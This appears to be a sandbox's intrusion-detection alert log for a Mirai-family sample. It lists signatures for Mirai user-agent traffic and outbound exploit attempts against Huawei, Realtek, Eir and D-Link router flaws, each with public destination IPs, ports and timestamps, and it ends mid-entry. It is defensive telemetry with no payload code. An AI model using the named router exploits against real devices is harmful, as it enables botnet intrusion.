ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.208.2.48

Timestamp:	192.168.2.2388.208.2.4834616802027121 10/23/22-17:57:06.711974
SID:	2027121
Source Port:	34616
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.188.122.117

Timestamp:	192.168.2.23213.188.122.11736648802846380 10/23/22-17:56:42.722999
SID:	2846380
Source Port:	36648
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 196.19.249.169

Timestamp:	192.168.2.23196.19.249.16953812802835222 10/23/22-17:58:16.933581
SID:	2835222
Source Port:	53812
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.86.82.45

Timestamp:	192.168.2.2388.86.82.4552262802027121 10/23/22-17:58:07.304334
SID:	2027121
Source Port:	52262
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.238.168.114

Timestamp:	192.168.2.23213.238.168.11450466802846380 10/23/22-17:58:00.630977
SID:	2846380
Source Port:	50466
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.166.117.184

Timestamp:	192.168.2.23188.166.117.18433878802846457 10/23/22-17:58:17.659416
SID:	2846457
Source Port:	33878
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 23.35.133.102

Timestamp:	192.168.2.2323.35.133.10237012802841623 10/23/22-17:56:56.766335
SID:	2841623
Source Port:	37012
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.202.200

Timestamp:	192.168.2.2395.100.202.20056096802027121 10/23/22-17:57:28.450964
SID:	2027121
Source Port:	56096
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.61.47.203

Timestamp:	192.168.2.23200.61.47.20333656802846380 10/23/22-17:57:30.241373
SID:	2846380
Source Port:	33656
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.31.16.26

Timestamp:	192.168.2.23104.31.16.2645474802841623 10/23/22-17:57:50.366666
SID:	2841623
Source Port:	45474
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.151.32.85

Timestamp:	192.168.2.2380.151.32.8549864802846457 10/23/22-17:56:48.706143
SID:	2846457
Source Port:	49864
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.166.123.10

Timestamp:	192.168.2.23188.166.123.1049164802846457 10/23/22-17:58:07.917483
SID:	2846457
Source Port:	49164
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.73.253.3

Timestamp:	192.168.2.23104.73.253.357436802841623 10/23/22-17:57:50.871792
SID:	2841623
Source Port:	57436
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.42.150.242

Timestamp:	192.168.2.2384.42.150.24234768802846457 10/23/22-17:57:56.402207
SID:	2846457
Source Port:	34768
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.143.8.65

Timestamp:	192.168.2.2337.143.8.6560930802846457 10/23/22-17:57:31.334102
SID:	2846457
Source Port:	60930
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.201.156.238

Timestamp:	192.168.2.2384.201.156.23847968802846457 10/23/22-17:57:56.420539
SID:	2846457
Source Port:	47968
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.54.50.91

Timestamp:	192.168.2.23188.54.50.9157074802846457 10/23/22-17:58:08.054624
SID:	2846457
Source Port:	57074
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.102.123.40

Timestamp:	192.168.2.2395.102.123.4041636802027121 10/23/22-17:57:16.166579
SID:	2027121
Source Port:	41636
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.226.189.79

Timestamp:	192.168.2.23122.226.189.7956548528692027339 10/23/22-17:58:20.278104
SID:	2027339
Source Port:	56548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.176.29.4

Timestamp:	192.168.2.23213.176.29.460688802846380 10/23/22-17:56:39.254984
SID:	2846380
Source Port:	60688
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.19.152.21

Timestamp:	192.168.2.23178.19.152.2144438802846380 10/23/22-17:56:49.729037
SID:	2846380
Source Port:	44438
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.88.17.65

Timestamp:	192.168.2.23200.88.17.6541946802846380 10/23/22-17:58:22.587044
SID:	2846380
Source Port:	41946
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.2.211.225

Timestamp:	192.168.2.23206.2.211.22535232802846380 10/23/22-17:57:38.245828
SID:	2846380
Source Port:	35232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Eir D1000 Modem CWMP Exploit RCE - Source IP: 192.168.2.23 - Destination IP: 46.158.35.110

Timestamp:	192.168.2.2346.158.35.1104346875472023548 10/23/22-17:58:35.885954
SID:	2023548
Source Port:	43468
Destination Port:	7547
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 51.158.116.102

Timestamp:	192.168.2.2351.158.116.10236820802841623 10/23/22-17:57:46.500681
SID:	2841623
Source Port:	36820
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.54.46.251

Timestamp:	192.168.2.2395.54.46.25157992802027121 10/23/22-17:58:39.781212
SID:	2027121
Source Port:	57992
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.117.190

Timestamp:	192.168.2.2395.100.117.19057736802027121 10/23/22-17:58:36.363743
SID:	2027121
Source Port:	57736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.47.11

Timestamp:	192.168.2.2395.101.47.1133798802027121 10/23/22-17:57:52.080681
SID:	2027121
Source Port:	33798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.45.209.207

Timestamp:	192.168.2.2382.45.209.20759048802846380 10/23/22-17:58:06.234668
SID:	2846380
Source Port:	59048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.161.93.3

Timestamp:	192.168.2.23181.161.93.350864802846380 10/23/22-17:57:49.051294
SID:	2846380
Source Port:	50864
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.213.237.24

Timestamp:	192.168.2.2395.213.237.2453750802027121 10/23/22-17:57:23.629839
SID:	2027121
Source Port:	53750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.217.124.45

Timestamp:	192.168.2.2354.217.124.4532912802841623 10/23/22-17:58:21.159984
SID:	2841623
Source Port:	32912
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.67.217

Timestamp:	192.168.2.2395.100.67.21751706802027121 10/23/22-17:58:30.344491
SID:	2027121
Source Port:	51706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.7.43.134

Timestamp:	192.168.2.23200.7.43.13444516802846380 10/23/22-17:57:43.654408
SID:	2846380
Source Port:	44516
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.61.83.104

Timestamp:	192.168.2.23130.61.83.10437496802841623 10/23/22-17:57:50.384084
SID:	2841623
Source Port:	37496
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.47.26.117

Timestamp:	192.168.2.2378.47.26.11738060802846457 10/23/22-17:57:46.265474
SID:	2846457
Source Port:	38060
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.25.13.180

Timestamp:	192.168.2.23188.25.13.18053442802846457 10/23/22-17:57:00.255801
SID:	2846457
Source Port:	53442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.217.234.178

Timestamp:	192.168.2.2395.217.234.17857844802027121 10/23/22-17:57:40.691991
SID:	2027121
Source Port:	57844
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.61.86.92

Timestamp:	192.168.2.23169.61.86.9237662802846380 10/23/22-17:58:30.957152
SID:	2846380
Source Port:	37662
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.212.60.32

Timestamp:	192.168.2.2388.212.60.3251026802027121 10/23/22-17:57:31.198621
SID:	2027121
Source Port:	51026
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.47.207.157

Timestamp:	192.168.2.2380.47.207.15747252802846380 10/23/22-17:57:51.852323
SID:	2846380
Source Port:	47252
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.33.112

Timestamp:	192.168.2.23156.254.33.11235616372152835222 10/23/22-17:58:32.625173
SID:	2835222
Source Port:	35616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.191.7

Timestamp:	192.168.2.2395.101.191.752610802027121 10/23/22-17:57:25.813902
SID:	2027121
Source Port:	52610
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.189.140.13

Timestamp:	192.168.2.23206.189.140.1350494802846380 10/23/22-17:56:59.862386
SID:	2846380
Source Port:	50494
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.169.253.210

Timestamp:	192.168.2.23112.169.253.21045966802027121 10/23/22-17:57:31.157232
SID:	2027121
Source Port:	45966
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.211.234.104

Timestamp:	192.168.2.2380.211.234.10458442802846380 10/23/22-17:57:51.859098
SID:	2846380
Source Port:	58442
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.53.43.129

Timestamp:	192.168.2.23200.53.43.12942708802846380 10/23/22-17:57:57.993551
SID:	2846380
Source Port:	42708
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.172.190.42

Timestamp:	192.168.2.235.172.190.4245672802846457 10/23/22-17:57:35.635252
SID:	2846457
Source Port:	45672
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.20.177.99

Timestamp:	192.168.2.2388.20.177.9946006802027121 10/23/22-17:57:52.341639
SID:	2027121
Source Port:	46006
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.161.86.3

Timestamp:	192.168.2.235.161.86.359276802846457 10/23/22-17:57:35.772864
SID:	2846457
Source Port:	59276
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.47.103.120

Timestamp:	192.168.2.23110.47.103.12055096802846457 10/23/22-17:57:43.839397
SID:	2846457
Source Port:	55096
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.18.102.133

Timestamp:	192.168.2.232.18.102.13338190802846457 10/23/22-17:57:50.334993
SID:	2846457
Source Port:	38190
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.216.96.217

Timestamp:	192.168.2.2388.216.96.21756718802027121 10/23/22-17:58:19.650206
SID:	2027121
Source Port:	56718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.164.254.229

Timestamp:	192.168.2.23195.164.254.22945368528692027339 10/23/22-17:58:30.472740
SID:	2027339
Source Port:	45368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.20.46.131

Timestamp:	192.168.2.23195.20.46.13146474802846457 10/23/22-17:58:21.665596
SID:	2846457
Source Port:	46474
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.86.69.171

Timestamp:	192.168.2.2395.86.69.17139182802027121 10/23/22-17:57:54.677535
SID:	2027121
Source Port:	39182
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.155.165.121

Timestamp:	192.168.2.23122.155.165.12139624802846457 10/23/22-17:57:26.313775
SID:	2846457
Source Port:	39624
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.167.137.189

Timestamp:	192.168.2.2382.167.137.18938136802846380 10/23/22-17:57:48.493673
SID:	2846380
Source Port:	38136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.114.139.233

Timestamp:	192.168.2.2385.114.139.23358202802846457 10/23/22-17:58:26.388315
SID:	2846457
Source Port:	58202
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.165.112

Timestamp:	192.168.2.2388.221.165.11249852802027121 10/23/22-17:58:36.299989
SID:	2027121
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.163.177.215

Timestamp:	192.168.2.2382.163.177.21559226802846380 10/23/22-17:58:06.170271
SID:	2846380
Source Port:	59226
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.14.206.224

Timestamp:	192.168.2.2380.14.206.22454522802846457 10/23/22-17:57:09.752560
SID:	2846457
Source Port:	54522
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.127.57.135

Timestamp:	192.168.2.23181.127.57.13545708802846380 10/23/22-17:58:01.205229
SID:	2846380
Source Port:	45708
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.196.32.28

Timestamp:	192.168.2.2383.196.32.2848108802846380 10/23/22-17:58:25.093178
SID:	2846380
Source Port:	48108
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.186.147.228

Timestamp:	192.168.2.2378.186.147.22852716802846457 10/23/22-17:57:46.335397
SID:	2846457
Source Port:	52716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.246.3.183

Timestamp:	192.168.2.2346.246.3.18356212802846457 10/23/22-17:57:41.270857
SID:	2846457
Source Port:	56212
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 87.241.135.8

Timestamp:	192.168.2.2387.241.135.851746802841623 10/23/22-17:57:01.193468
SID:	2841623
Source Port:	51746
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 185.10.158.21

Timestamp:	192.168.2.23185.10.158.2156654802835221 10/23/22-17:56:51.489662
SID:	2835221
Source Port:	56654
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.73.244.31

Timestamp:	192.168.2.23178.73.244.3137048802846380 10/23/22-17:56:55.338953
SID:	2846380
Source Port:	37048
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 186.78.174.73

Timestamp:	192.168.2.23186.78.174.7339924802841623 10/23/22-17:58:29.701765
SID:	2841623
Source Port:	39924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.95.201.150

Timestamp:	192.168.2.2384.95.201.15037332802846457 10/23/22-17:58:33.030575
SID:	2846457
Source Port:	37332
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.166.65.129

Timestamp:	192.168.2.23188.166.65.12949916802846457 10/23/22-17:58:07.918432
SID:	2846457
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.187.128.106

Timestamp:	192.168.2.2337.187.128.10643334802846457 10/23/22-17:57:31.303881
SID:	2846457
Source Port:	43334
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.88.229.241

Timestamp:	192.168.2.23200.88.229.24157376802846380 10/23/22-17:58:16.958982
SID:	2846380
Source Port:	57376
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.226.180

Timestamp:	192.168.2.2395.100.226.18053890802027121 10/23/22-17:57:57.707113
SID:	2027121
Source Port:	53890
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.228.228.161

Timestamp:	192.168.2.2384.228.228.16142622802846457 10/23/22-17:57:18.503458
SID:	2846457
Source Port:	42622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.85.76.255

Timestamp:	192.168.2.23164.85.76.25540500802846457 10/23/22-17:57:55.922977
SID:	2846457
Source Port:	40500
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.232.8.239

Timestamp:	192.168.2.23213.232.8.23949162802846380 10/23/22-17:56:39.207770
SID:	2846380
Source Port:	49162
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.153.224.28

Timestamp:	192.168.2.2395.153.224.2834292802027121 10/23/22-17:58:07.443694
SID:	2027121
Source Port:	34292
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 44.241.137.223

Timestamp:	192.168.2.2344.241.137.22341180802841623 10/23/22-17:57:35.559879
SID:	2841623
Source Port:	41180
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.252.140.227

Timestamp:	192.168.2.23142.252.140.22739146802841623 10/23/22-17:57:12.578454
SID:	2841623
Source Port:	39146
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.213.158.106

Timestamp:	192.168.2.2395.213.158.10644822802027121 10/23/22-17:57:28.484723
SID:	2027121
Source Port:	44822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.235.229.29

Timestamp:	192.168.2.23213.235.229.2936324802846380 10/23/22-17:56:39.153991
SID:	2846380
Source Port:	36324
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.10.34.66

Timestamp:	192.168.2.2384.10.34.6633618802846457 10/23/22-17:57:46.289400
SID:	2846457
Source Port:	33618
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.209.202.250

Timestamp:	192.168.2.2388.209.202.25049224802027121 10/23/22-17:57:31.417504
SID:	2027121
Source Port:	49224
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 176.235.113.115

Timestamp:	192.168.2.23176.235.113.11547138802841623 10/23/22-17:58:11.353459
SID:	2841623
Source Port:	47138
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.23.25.173

Timestamp:	192.168.2.2385.23.25.17359214802846457 10/23/22-17:57:58.561599
SID:	2846457
Source Port:	59214
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.71.190.26

Timestamp:	192.168.2.23200.71.190.2643940802846380 10/23/22-17:57:13.975978
SID:	2846380
Source Port:	43940
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.199.104.134

Timestamp:	192.168.2.2386.199.104.13443130802846380 10/23/22-17:58:35.754031
SID:	2846380
Source Port:	43130
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.173.11.148

Timestamp:	192.168.2.2395.173.11.14842778802027121 10/23/22-17:58:12.779990
SID:	2027121
Source Port:	42778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.94.55.20

Timestamp:	192.168.2.2380.94.55.2045878802846380 10/23/22-17:58:29.784461
SID:	2846380
Source Port:	45878
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.213.12.102

Timestamp:	192.168.2.23156.213.12.10237264802841623 10/23/22-17:58:14.113045
SID:	2841623
Source Port:	37264
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.138.172.8

